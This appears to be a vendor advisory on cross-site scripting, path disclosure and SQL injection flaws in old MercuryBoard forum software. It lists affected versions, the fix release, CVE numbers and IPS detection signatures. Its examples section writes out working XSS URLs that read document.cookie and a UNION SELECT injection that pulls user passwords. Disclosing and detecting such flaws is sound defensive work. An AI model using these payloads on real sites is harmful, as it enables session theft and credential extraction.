MercuryBoard Cross Site Scripting and Path Disclosure Vulnerabilities


Description   Several vulnerabilities were reported in MercuryBoard, which could be exploited to conduct a Cross Site Scripting attack or disclosure path information. The first flaw results from several input validation errors in the "/func/pm.php" and "/func/members.php" when handling malformed "s", "l", "a", "t", "to" and "re" parameters, which may be exploited to conduct Cross Site Scripting attacks. The second vulnerability resides in the "global.php" file, and could be exploited to determine the installation path by supplying a specially crafted URL. The third issue could be exploited by an administrator to conduct SQL Injection attacks, by supplying a specially crafted URL.
Examples :
XSS - http://www.site.com/mercuryboard/index.php?a='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=post&s='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=post&s=reply&t='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=pm&s=send&to='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=pm&s=send&to=2&re='><script>alert(document.cookie)</script>
XSS - http://www.site.com/mercuryboard/index.php?a=cp&s='><script>alert(document.cookie)</script>
Path disclosure - http://www.site.com/mercuryboard/index.php?a=forum&f=2&min=0&n=0
SQL Injection - http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=0%20UNION%20SELECT%20user_id,%20user_password%20FROM%20mb_users%20/*
     
Vulnerable Products   Vulnerable Software:
MercuryBoard version 1.1.1 and earlier
     
Solution   MercuryBoard version 1.1.2 : http://www.mercuryboard.com/index.php?a=downloads
     
CVE   CVE-2005-0414
CVE-2005-0307
CVE-2005-0306
     
References   http://www.codebug.org/news.php?subaction=showfull&id=1106604257&archive=&start_from=&ucat=1&
     
Vulnerability Manager Detection   No
     
IPS Protection  
ASQ Engine alarm Available Since
XSS - Prevention - GET : suspicious 'iframe' tag found in URL
3.2.0
XSS - Prevention - POST : suspicious tag with event found in data
3.2.0
XSS - Prevention - GET : suspicious tag with event found in URL
3.2.0
XSS - Prevention - GET : javascript code in flash clickTAG parameter
3.2.0
XSS - Prevention - POST : suspicious 'object' tag found in data
3.2.0
XSS - Prevention - GET : suspicious 'applet' tag found in URL
3.2.0
XSS - Prevention - POST : suspicious 'applet' tag found in data
3.2.0
XSS - Prevention - POST : 'location' javascript object found in data
3.2.0
XSS - Phishing : suspicious 'div' tag found in URL
3.2.0
XSS - Prevention - GET : suspicious 'style' attribute found in URL
3.2.0
XSS - Prevention - POST : javascript code found in data
3.2.0
XSS - Prevention - POST : suspicious 'iframe' tag found in data
3.2.0
XSS - Prevention - POST : code allowing cookie access found in data
3.2.0
XSS - Phishing : suspicious 'a' tag found in URL
3.2.0
XSS - Prevention - GET : cookie access attempt using script language found in URL
3.2.0
XSS - Prevention - GET : suspicious 'embed' tag found in URL
3.2.0
XSS - Prevention - GET : suspicious 'object' tag found in URL
3.2.0
XSS - Phishing : suspicious 'form' tag found in URL
3.2.0
XSS - Prevention - POST : suspicious 'embed' tag found in data
3.2.0
XSS - Prevention - POST : suspicious 'style' tag found in data
3.2.0
XSS - Prevention - GET : javascript code found in URL
3.2.0
XSS - Prevention - GET : 'script' tag in flash clickTAG parameter
3.2.0
XSS - Prevention - POST : suspicious 'div' tag found in data
3.2.0
XSS - Prevention - GET : evasion attempt using tag characters encoding in URL
3.2.0
XSS - Prevention - GET : suspicious 'style' tag found in URL
3.2.0
XSS - Phishing : suspicious 'link' tag found in URL
3.2.0
XSS - Prevention - GET : 'script' tag found in URL
3.2.0
XSS - Prevention - POST : 'script' tag found in data
3.2.0
XSS - Prevention - POST : suspicious 'style' attribute found in data
3.2.0
XSS - Prevention - GET : 'location' javascript object found in URL
3.2.0
XSS - Prevention - GET : suspicious 'div' tag found in URL
3.2.0
     


 
 
 
 
 Risk level 
Moderate 

 Vulnerability First Public Report Date 
2005-01-25 

 Target Type 
Server 

 Possible exploit 
Local & Remote